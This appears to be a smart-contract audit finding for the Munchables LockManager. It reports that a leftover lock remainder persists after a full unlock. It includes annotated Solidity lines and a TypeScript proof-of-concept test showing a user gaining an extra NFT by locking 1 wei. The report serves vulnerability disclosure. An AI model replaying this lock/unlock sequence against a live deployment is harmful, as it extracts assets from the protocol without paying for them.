Munchables - Haipls's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L344 https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L364

Vulnerability details

Impact

The remaining amount after a full unlock by a user is carried over to the next lock, enabling the user to obtain two Munchanbles for the price of one due to incorrect remainder calculation. This results in the user acquiring asset (Munchanble) without lock funds.

Example (nftCost: 1 ether):

1. The user locks 1.999999999999999999 ether (just 1 wei short of obtaining 2 Munchanbles), receiving 1 Munchanble, with a remainder of 0.999999999999999999 ether.
2. The user fully unlocks, retrieving their 1.999999999999999999 ether, but the remainder variable stays unchanged.
3. The user locks 1.000000000000000001 ether again, effectively locking a balance calculated as 2 ether, thus receiving 2 Munchanbles instead of 1. But the locked balance is only 1 ether

Also, 1.000000000000000001 can be replaced with 1 wei, then you will get NFT for the locked 1 wei

Mitigation Note:

The remainder is still subject to the lock duration for first lock, but this duration is no longer applied during the next lock.

Whether this is a problem is ambiguous. Since, on the one hand, the funds were blocked earlier. But on the other hand, the documentation clearly states that in order to receive a new one, you have to block the funds, in fact, the recieve Munchanble occurs without actually blocking the funds

Proof of Concept

The issue arises from incorrect remainder calculation, which persists even after a full unlock:

File: src/managers/LockManager.sol

        // add remainder from any previous lock
344:        uint256 quantity = _quantity + lockedToken.remainder; // @audit lockedToken.remainder is not cleared after an unlock and is available for a future lock, although this balance is not locked
        ...
                // calculate number of nfts
363:                remainder = quantity % configuredToken.nftCost;
364:                numberNFTs = (quantity - remainder) / configuredToken.nftCost;
        ...
379:        lockedToken.remainder = remainder;
380:        lockedToken.quantity += _quantity;

Example: $nftCost = 1\ ether$ $_quantity = 0.000000000000000001\ ether$ $lockedToken.remainder = 0.[9]\ ether$ $quantity = 0.000000000000000001\ ether + 0.[9]\ ether = 1\ ether$ $reminder = 1\ ether\ %\ 1\ ether = 0 $ $numberNFTs = 1\ ether / 1\ ether = 1\ NFT$

It turns out that the user actually blocks 1 wei and gets NFT

Test

Path for create test file: tests/maangers/LockManager/issue.test.ts

Result:

Alice start state
         erc20.balanceOf(Alice) 10000000000000000000n
         lockedTokens: [ 0n, 0n, 0, 0 ]
         getUnrevealedNFTs: 0    expected: 0
After first lock 1.[9] erc20, should get only 1 Munchable
         erc20.balanceOf(Alice) 8000000000000000001n
         lockedTokens: [ 1999999999999999999n, 999999999999999999n, 1713316689, 1713317689 ]
         getUnrevealedNFTs: 1    expected: 1
After unlock 1.[9]
         erc20.balanceOf(Alice) 10000000000000000000n
         lockedTokens: [ 0n, 999999999999999999n, 1713316689, 1713317689 ]
         getUnrevealedNFTs: 1    expected: 1
After lock 0.000000000000000001, shoudnt get munchanble
         erc20.balanceOf(Alice) 9999999999999999999n
         lockedTokens: [ 1n, 0n, 1713317693, 1713318693 ]
         getUnrevealedNFTs: 2    expected: 1

import { before, describe, it } from "node:test";
import { parseEther } from "viem";
import { assertTxSuccess } from "../../utils/asserters";
import { testClient } from "../../utils/consts";
import {
  TestERC20ContractType,
  deployTestERC20Contract,
  getTestContracts,
  getTestRoleAddresses,
} from "../../utils/contracts";
import { registerPlayer } from "../../utils/players";

const lockDuration = 1000n;

describe("Incorrect `remainder` calculation on repeated Lock/Unlock allows Munchanble without lock fund (2 for the price of one)", () => {
  let alice: `0x${string}`;
  let testERC20Contract: TestERC20ContractType;
  let unlockTime: number;
  let lockManager: any;
  let nftOverlord: any;

  before(async () => {
    const testContracts = await getTestContracts();
    [alice] = (await getTestRoleAddresses()).users;
    lockManager = testContracts.lockManager;
    nftOverlord = testContracts.nftOverlord;

    await registerPlayer({ account: alice, testContracts });
    testERC20Contract = await deployTestERC20Contract({ account: alice });
    await lockManager.contract.write.configureToken([
      testERC20Contract.address,
      { usdPrice: parseEther("1"), nftCost: parseEther("1"), active: true, decimals: 18 },
    ]);
    await lockManager.contract.write.setLockDuration([lockDuration], {
      account: alice,
    });

    await testClient.setBalance({
      address: alice,
      value: parseEther("10"),
    });

    const t = await testERC20Contract.write.transfer([
      lockManager.contract.address,
      parseEther("90"),
    ]);
    await assertTxSuccess({ txHash: t });

    await testERC20Contract.write.approve([lockManager.contract.address, parseEther("100")]);

    const block = await testClient.getBlock();
    await lockManager.contract.write.configureLockdrop([
      {
        start: Number(block.timestamp),
        end: Number(block.timestamp + lockDuration * BigInt(10)),
        minLockDuration: Number(lockDuration),
      },
    ]);
  });

  async function logState(title: string, expectMunchanbleNumber: number) {
    console.log(title);
    console.log("\t erc20.balanceOf(Alice)", await testERC20Contract.read.balanceOf([alice]));
    let lockedTokens = await lockManager.contract.read.lockedTokens([
      alice,
      testERC20Contract.address,
    ]);
    console.log("\t lockedTokens:", lockedTokens);
    console.log(
      "\t getUnrevealedNFTs:",
      await nftOverlord.contract.read.getUnrevealedNFTs([alice]),
      "\t expected:",
      expectMunchanbleNumber
    );
  }

  it("get additional nft by lock only 1 wei", async () => {
    await logState("Alice start state", 0);

    await lockManager.contract.write.lock(
      [testERC20Contract.address, parseEther("1.999999999999999999")],
      {
        account: alice,
      }
    );
    await logState("After first lock 1.[9] erc20, should get only 1 Munchable", 1);

    let lockedTokens = await lockManager.contract.read.getLocked([alice]);
    let lockedToken = lockedTokens.find((t: any) => t.tokenContract === testERC20Contract.address);
    unlockTime = lockedToken.lockedToken.unlockTime;

    await testClient.setNextBlockTimestamp({
      timestamp: BigInt(unlockTime + 1),
    });

    await testClient.mine({ blocks: 1 });

    await lockManager.contract.write.unlock(
      [testERC20Contract.address, parseEther("1.999999999999999999")],
      { account: alice }
    );
    await logState("After unlock 1.[9]", 1);

    await lockManager.contract.write.setLockDuration([lockDuration], {
      account: alice,
    });

    await lockManager.contract.write.lock([testERC20Contract.address, 1], {
      account: alice,
    });
    await logState("After lock 0.000000000000000001, shoudnt get munchanble", 1);
  });
});

Tools Used

• Manual Review
• Forge

Recommended Mitigation Steps

Change the way the remainder is calculated to avoid the situation when it is not locked and you get a mechanble without locking

Assessed type

Other